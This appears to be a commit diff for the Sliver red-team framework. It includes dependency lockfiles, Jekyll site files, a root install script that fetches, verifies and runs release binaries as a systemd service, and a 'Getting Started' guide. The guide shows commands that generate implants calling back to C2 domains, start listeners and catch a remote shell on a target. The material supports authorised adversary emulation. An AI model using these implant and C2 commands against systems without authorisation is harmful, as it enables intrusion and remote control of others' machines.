jekyll-theme-merlot (= 0.1.1)
jekyll-theme-midnight (= 0.1.1)
jekyll-theme-minimal (= 0.1.1)
jekyll-theme-modernist (= 0.1.1)
jekyll-theme-primer (= 0.5.4)
jekyll-theme-slate (= 0.1.1)
jekyll-theme-tactile (= 0.1.1)
jekyll-theme-time-machine (= 0.1.1)
jekyll-titles-from-headings (= 0.5.3)
jemoji (= 0.12.0)
kramdown (= 2.3.1)
kramdown-parser-gfm (= 1.1.0)
liquid (= 4.0.3)
mercenary (~> 0.3)
minima (= 2.5.1)
nokogiri (>= 1.10.4, < 2.0)
rouge (= 3.26.0)
terminal-table (~> 1.4)
github-pages-health-check (1.17.2)
addressable (~> 2.3)
dnsruby (~> 1.60)
octokit (~> 4.0)
public_suffix (>= 2.0.2, < 5.0)
typhoeus (~> 1.3)
html-pipeline (2.14.0)
activesupport (>= 2)
nokogiri (>= 1.4)
http_parser.rb (0.6.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jekyll (3.9.0)
addressable (~> 2.4)
colorator (~> 1.0)
em-websocket (~> 0.5)
i18n (~> 0.7)
jekyll-sass-converter (~> 1.0)
jekyll-watch (~> 2.0)
kramdown (>= 1.17, < 3)
liquid (~> 4.0)
mercenary (~> 0.3.3)
pathutil (~> 0.9)
rouge (>= 1.7, < 4)
safe_yaml (~> 1.0)
jekyll-avatar (0.7.0)
jekyll (>= 3.0, < 5.0)
jekyll-coffeescript (1.1.1)
coffee-script (~> 2.2)
coffee-script-source (~> 1.11.1)
jekyll-commonmark (1.3.1)
commonmarker (~> 0.14)
jekyll (>= 3.7, < 5.0)
jekyll-commonmark-ghpages (0.1.6)
commonmarker (~> 0.17.6)
jekyll-commonmark (~> 1.2)
rouge (>= 2.0, < 4.0)
jekyll-default-layout (0.1.4)
jekyll (~> 3.0)
jekyll-feed (0.15.1)
jekyll (>= 3.7, < 5.0)
jekyll-gist (1.5.0)
octokit (~> 4.2)
jekyll-github-metadata (2.13.0)
jekyll (>= 3.4, < 5.0)
octokit (~> 4.0, != 4.4.0)
jekyll-mentions (1.6.0)
html-pipeline (~> 2.3)
jekyll (>= 3.7, < 5.0)
jekyll-optional-front-matter (0.3.2)
jekyll (>= 3.0, < 5.0)
jekyll-paginate (1.1.0)
jekyll-readme-index (0.3.0)
jekyll (>= 3.0, < 5.0)
jekyll-redirect-from (0.16.0)
jekyll (>= 3.3, < 5.0)
jekyll-relative-links (0.6.1)
jekyll (>= 3.3, < 5.0)
jekyll-remote-theme (0.4.3)
addressable (~> 2.0)
jekyll (>= 3.5, < 5.0)
jekyll-sass-converter (>= 1.0, <= 3.0.0, != 2.0.0)
rubyzip (>= 1.3.0, < 3.0)
jekyll-sass-converter (1.5.2)
sass (~> 3.4)
jekyll-seo-tag (2.7.1)
jekyll (>= 3.8, < 5.0)
jekyll-sitemap (1.4.0)
jekyll (>= 3.7, < 5.0)
jekyll-swiss (1.0.0)
jekyll-theme-architect (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-cayman (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-dinky (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.1.2)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-leap-day (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-merlot (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-midnight (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-minimal (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-modernist (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-primer (0.5.4)
jekyll (> 3.5, < 5.0)
jekyll-github-metadata (~> 2.9)
jekyll-seo-tag (~> 2.0)
jekyll-theme-slate (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-tactile (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-time-machine (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-titles-from-headings (0.5.3)
jekyll (>= 3.3, < 5.0)
jekyll-watch (2.2.1)
listen (~> 3.0)
jemoji (0.12.0)
gemoji (~> 3.0)
html-pipeline (~> 2.2)
jekyll (>= 3.0, < 5.0)
kramdown (2.3.1)
rexml
kramdown-parser-gfm (1.1.0)
kramdown (~> 2.0)
liquid (4.0.3)
listen (3.5.1)
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.6.1)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.14.4)
multipart-post (2.1.1)
nokogiri (1.12.5)
mini_portile2 (~> 2.6.1)
racc (~> 1.4)
octokit (4.21.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
pathutil (0.16.2)
forwardable-extended (~> 2.6)
public_suffix (4.0.6)
racc (1.5.2)
rb-fsevent (0.11.0)
rb-inotify (0.10.1)
ffi (~> 1.0)
rexml (3.2.5)
rouge (3.26.0)
ruby-enum (0.9.0)
i18n
ruby2_keywords (0.0.4)
rubyzip (2.3.2)
safe_yaml (1.0.5)
sass (3.7.4)
sass-listen (~> 4.0.0)
sass-listen (4.0.0)
rb-fsevent (~> 0.9, >= 0.9.4)
rb-inotify (~> 0.9, >= 0.9.7)
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
simpleidn (0.2.1)
unf (~> 0.1.4)
terminal-table (1.8.0)
unicode-display_width (~> 1.1, >= 1.1.1)
thread_safe (0.3.6)
typhoeus (1.4.0)
ethon (>= 0.9.0)
tzinfo (1.2.9)
thread_safe (~> 0.1)
tzinfo-data (1.2021.1)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.7.7)
unicode-display_width (1.7.0)
wdm (0.1.1)
zeitwerk (2.4.2)
PLATFORMS
ruby
DEPENDENCIES
github-pages
jekyll (~> 3.9.0)
jekyll-feed (~> 0.6)
kramdown-parser-gfm
tzinfo (~> 1.2)
tzinfo-data
wdm (~> 0.1.0)
BUNDLED WITH
1.17.3
+42 -1
View File
@@ -1 +1,42 @@
theme: jekyll-theme-hacker
# Welcome to Jekyll!
#
# This config file is meant for settings that affect your whole blog, values
# which you are expected to set up once and rarely edit after that. If you find
# yourself editing this file very often, consider using Jekyll's data files
# feature for the data you need to update frequently.
#
# For technical reasons, this file is *NOT* reloaded automatically when you use
# 'bundle exec jekyll serve'. If you change this file, please restart the server process.
# Site settings
# These are used to personalize your new site. If you look in the HTML files,
# you will see them accessed via {{ site.title }}, {{ site.email }}, and so on.
# You can create any custom variable you would like, and they will be accessible
# in the templates via {{ site.myvariable }}.
title: Sliver
description: >- # this means to ignore newlines until "baseurl:"
Sliver is an open source cross-platform adversary emulation/red team framework.
baseurl: "" # the subpath of your site, e.g. /blog
url: "https://sliver.sh/"
github:
latest_url: https://github.com/BishopFox/sliver/releases/latest
repository_url: https://github.com/BishopFox/sliver
# Build settings
markdown: kramdown
theme: jekyll-theme-hacker
show_downloads: true
plugins:
- jekyll-feed
# Exclude from processing.
# The following items will not be processed, by default. Create a custom list
# to override the default setting.
exclude:
- Gemfile
- Gemfile.lock
- CNAME
- .gitignore
- _site
+39
View File
@@ -0,0 +1,39 @@
<!DOCTYPE html>
<html lang="{{ site.lang | default: "en-US" }}">
<head>
<meta charset='utf-8'>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="{{ '/assets/css/style.css?v=' | append: site.github.build_revision | relative_url }}">
{% seo %}
</head>
<body>
<header>
<div class="container">
<a id="a-title" href="{{ '/' | relative_url }}">
<h1>{{ site.title | default: site.github.repository_name }}</h1>
</a>
<h2>{{ site.description | default: site.github.project_tagline }}</h2>
<section id="downloads">
{% if site.show_downloads %}
<a href="{{ site.github.latest_url }}" target="_blank" class="btn">Latest Release</a>
{% endif %}
<a href="{{ site.github.repository_url }}" target="_blank" class="btn btn-github"><span class="icon"></span>View on GitHub</a>
</section>
</div>
</header>
<div class="container">
<section id="main_content">
{{ content }}
</section>
</div>
</body>
</html>
+14
View File
@@ -0,0 +1,14 @@
---
layout: default
---
<small>{{ page.date | date: "%-d %B %Y" }}</small>
<h1>{{ page.title }}</h1>
<p class="view">by {{ page.author | default: site.author }}</p>
{{ content }}
{% if page.tags %}
<small>tags: <em>{{ page.tags | join: "</em> - <em>" }}</em></small>
{% endif %}
+143
View File
@@ -0,0 +1,143 @@
---
layout: post
title: "Getting Started"
author: "moloch"
date: 2021-07-07 09:01:33 -0500
categories: sliver
---
# 1. Server Setup
The first thing you'll need to do is setup a Sliver server.
The server supports Linux, Windows, and MacOS however we recommend running the server on a Linux or MacOS host, as some features may be more difficult to get working on a Windows server. However, the Windows client should work just fine when accessing a Linux/MacOS server.
Download the latest [release](https://github.com/BishopFox/sliver/releases) for your platform, and just run the binary. The first time you run the server it'll need to unpack some assets, which may take a minute or two, subsequent start ups should be faster.
__NOTE:__ Sliver has two external dependencies for _optional_ features: MinGW and Metasploit. To enable shellcode/staged payloads you need to install MinGW. To enable MSF integrations you'll need Metasploit installed.
The `Dockerfile` build of Sliver is mostly designed to run the unit tests but includes both MinGW and Metasploit. If you plan to run the server using Docker you'll need to forward the appropriate TCP ports (e.g. 80, 443, 31337) yourself.
### MinGW Setup (Optional)
In order to enable shellcode/staged/DLL payloads you'll need to install MinGW on the server (clients connecting to the server do not need it installed). By default Sliver will look in the usual places for MinGW binaries but you can override this using the [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
#### Linux
```
apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64
```
#### MacOS
```
brew install mingw-w64
```
__Note:__ On MacOS you'll likely have to configure [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables) for MinGW.
### Metasploit Setup (Optional)
We strongly recommend using the [nightly framework installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers), Sliver expects version 5 or later.
## Generating Implants
Generating implants is done using the `generate` command, you must specify at least one C2 endpoint using `--mtls`, `--wg`, `--http`, or `--dns`. Note that when an implant attempts to connect to an endpoint specified using `--http` it will try both HTTPS and then HTTP (if HTTPS fails). We recommend using mTLS (`--mtls`) or WireGuard (`--wg`) whenever possible. You can also specify an output directory with `--save`, by default the implant will be saved to the current working directory.
```
sliver > generate --mtls example.com --save /Users/moloch/Desktop
[*] Generating new windows/amd64 Sliver binary
[*] Build completed in 00:10:16
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```
Sliver implants are cross-platform, you can change the compiler target with the `--os` flag. Sliver accepts any Golang GOOS and GOARCH as arguments `--os` and `--arch`, we officially only support Windows, MacOS, and Linux, but you can at least attempt to compile for any other [valid Golang GOOS/GOARCH](https://gist.github.com/asukakenji/f15ba7e588ac42795f421b48b8aede63) combination. WARNING: Some commands/features may not work on "unsupported" platforms.
```
sliver > generate --mtls example.com --save /Users/moloch/Desktop --skip-symbols --os mac
[*] Generating new darwin/amd64 Sliver binary
[!] Symbol obfuscation is disabled
[*] Build completed in 00:00:03
[*] Sliver binary saved to: /Users/moloch/Desktop/PROPER_ANTHONY
```
The server will also assign codenames to each generated binary i.e. `NEW_GRAPE.exe` you can rename the file to anything you need to, but these codenames will still uniquely identify the generated binary (they're inserted at compile-time). You can also view all previously generated implant binaries with the `slivers` command:
```
sliver > slivers
Name OS/Arch Debug Format
==== ======= ===== ======
CAUTIOUS_PANPIPE darwin/amd64 false EXECUTABLE
LATE_SUBCOMPONENT windows/amd64 false SHARED_LIB
RUBBER_PRINTER windows/amd64 true SHARED_LIB
RACIAL_SPECTACLES darwin/amd64 false EXECUTABLE
MATHEMATICAL_SASH darwin/amd64 true SHARED_LIB
MUSHY_TRADITIONALISM windows/amd64 false SHARED_LIB
SICK_SPY darwin/amd64 false EXECUTABLE
```
If you need to re-download a previously generated implant use the `regenerate` command, note that positional arguments (the implant name) comes after the command flags (e.g., `--save`):
```
sliver > regenerate --save /Users/moloch/Desktop/ NEW_GRAPE
[*] Sliver binary saved to: /Users/moloch/Desktop/NEW_GRAPE.exe
```
#### Additional Details
For addition details about each C2 please see:
* [HTTP(S) C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2)
* [DNS C2](https://github.com/BishopFox/sliver/wiki/DNS-C2)
## Getting Shells
Before you can catch the shell, you'll first need to start a listener. You use the commands `mtls`, `http`, `https`, and `dns` to start listeners for each protocol (remember endpoints specified with `--http` can connect to a listener started with `https`). You can use the `jobs` command to view and manage listeners running in the background.
```
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > jobs
ID Name Protocol Port
== ==== ======== ====
1 mTLS tcp 8888
```
In this example we're using Mutual TLS, the required certificates for setting up and securing this connection have already been generated in the background and the client certificate pair was embedded into the implant at compile-time. So to get a shell you just have to run the binary on the target.
```
[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (narvi.local) - darwin/amd64
sliver > use 1
[*] Active sliver PROPER_ANTHONY (1)
sliver (PROPER_ANTHONY) > ls
/Users/moloch/Desktop
=====================
.DS_Store 6.0 KiB
.localized 0 B
PROPER_ANTHONY 6.3 MiB
```
## Multiple Domains/Protocols
You can specify multiple domains and protocols during the generation process. Right now Sliver will attempt to use the most performant protocols first (MTLS -> HTTP(S) -> DNS) using subsequent domains/protocols when connections fail.
```
sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip
```
Eventually we'll add a feature to manually specify the fallback protocols, or you can add this feature and send up a PR :).
+18
View File
@@ -0,0 +1,18 @@
---
layout: default
title: About
permalink: /about/
---
This is the base Jekyll theme. You can find out more info about customizing your Jekyll theme, as well as basic Jekyll usage documentation at [jekyllrb.com](https://jekyllrb.com/)
You can find the source code for Minima at GitHub:
[jekyll][jekyll-organization] /
[minima](https://github.com/jekyll/minima)
You can find the source code for Jekyll at GitHub:
[jekyll][jekyll-organization] /
[jekyll](https://github.com/jekyll/jekyll)
[jekyll-organization]: https://github.com/jekyll
+11
View File
@@ -0,0 +1,11 @@
---
layout: default
---
<ul>
{% for post in site.posts %}
<li>
<a href="{{ post.url }}">{{ post.title }}</a>
</li>
{% endfor %}
</ul>
-4
View File
@@ -1,4 +0,0 @@
# Sliver
Implant framework
+196
View File
@@ -0,0 +1,196 @@
#!/bin/bash
set -e
SLIVER_GPG_KEY_ID=4449039C
if [ "$EUID" -ne 0 ]
then echo "Please run as root"
exit
fi
if [ -n "$(command -v yum)" ]
then
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
zip unzip gpg curl build-essential \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
fi
# Curl
if ! command -v curl &> /dev/null
then
echo "curl could not be found"
exit 1
fi
# Awk
if ! command -v awk &> /dev/null
then
echo "awk could not be found"
exit 1
fi
# Zip
if ! command -v zip &> /dev/null
then
echo "zip could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
echo "gpg could not be found"
exit 1
fi
cd /root
echo "Running from $(pwd)"
gpg --import <<EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
=lxj2
-----END PGP PUBLIC KEY BLOCK-----
EOF
#
# Download and Unpack Sliver Server
#
ARTIFACTS=$(curl -s "https://api.github.com/repos/BishopFox/sliver/releases/latest" | awk -F '"' '/browser_download_url/{print $4}')
SLIVER_SERVER_ZIP='sliver-server_linux.zip'
SLIVER_CLIENT_ZIP='sliver-client_linux.zip'
SLIVER_SERVER='sliver-server'
SLIVER_CLIENT='sliver-client'
for URL in $ARTIFACTS
do
if [[ "$URL" == *"$SLIVER_SERVER_ZIP"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
if [[ "$URL" == *"$SLIVER_CLIENT_ZIP"* ]]; then
echo "Downloading $URL"
curl --silent -L $URL --output $(basename $URL)
fi
done
echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
if test -f "/root/$SLIVER_SERVER_ZIP"; then
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
rm -f /root/$SLIVER_SERVER_ZIP
else
exit 2
fi
if test -f "/root/$SLIVER_SERVER"; then
chmod 755 /root/$SLIVER_SERVER
/root/$SLIVER_SERVER unpack --force
else
exit 3
fi
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
rm -f /root/$SLIVER_CLIENT_ZIP
else
exit 2
fi
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
chmod 755 /usr/local/bin/sliver
else
exit 3
fi
# systemd
echo "Configuring systemd service ..."
cat > /etc/systemd/system/sliver.service <<-EOF
[Unit]
Description=Sliver
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=on-failure
RestartSec=3
User=root
ExecStart=/root/sliver-server daemon
[Install]
WantedBy=multi-user.target
EOF
chown root:root /etc/systemd/system/sliver.service
chmod 600 /etc/systemd/system/sliver.service
systemctl start sliver
# Generate local configs
echo "Generating operator configs ..."
mkdir -p /root/.sliver-client/configs
/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
chown -R root:root /root/.sliver-client/
USER_DIRS=(/home/*)
for USER_DIR in "${USER_DIRS[@]}"; do
USER=$(basename $USER_DIR)
if id -u $USER >/dev/null 2>&1; then
mkdir -p $USER_DIR/.sliver-client/configs
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
chown -R $USER:$USER $USER_DIR/.sliver-client/
fi
done
+14
View File
@@ -0,0 +1,14 @@
[Unit]
Description=Sliver
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=on-failure
RestartSec=3
User=root
ExecStart=/root/sliver-server daemon
[Install]
WantedBy=multi-user.target
+2 -2
View File
@@ -19,8 +19,8 @@
# Creates the static go asset archives
GO_VER="1.16.5"
GARBLE_VER="1.16.7"
GO_VER="1.17"
GARBLE_VER="1.17.1"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
+43 -5
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.16
go 1.17
// fix wgctrl requiring old wireguard
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
@@ -8,19 +8,18 @@ replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311
require (
github.com/AlecAivazis/survey/v2 v2.2.2
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.4.16 // indirect
github.com/alecthomas/chroma v0.8.1
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d
github.com/cheggaaa/pb/v3 v3.0.5
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/fatih/color v1.12.0
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v3.3.0+incompatible
github.com/golang/protobuf v1.5.2
github.com/google/uuid v1.2.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
@@ -54,3 +53,42 @@ require (
gorm.io/gorm v1.20.6
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
)
require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
github.com/jackc/pgio v1.0.0 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgproto3/v2 v2.0.5 // indirect
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
github.com/jackc/pgtype v1.5.0 // indirect
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.1 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-runewidth v0.0.7 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
golang.org/x/text v0.3.6 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
)
+5 -13
View File
@@ -17,8 +17,10 @@ github.com/AlecAivazis/survey/v2 v2.2.2/go.mod h1:9FJRdMdDm8rnT+zHVbvQT2RTSTLq0T
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d h1:uq6FM7b88vkNEqwjyP2mK6oL8cymY5b75Luu6ADTStY=
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d/go.mod h1:rJLtHgGUqTxJbfg+b+LjWBBPuYUzFFza1LXFhrzfxHA=
github.com/Binject/debug v0.0.0-20200621050044-63af8e405111/go.mod h1:6WgJ7mEG7ngJkNwwDkEVreDk2dPGg3oqdI6OEWaeDNg=
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 h1:8kQNJC9AxAaNs0JkXnWUfbNeDnIO1QLYYWjYqC6JEE4=
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY=
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
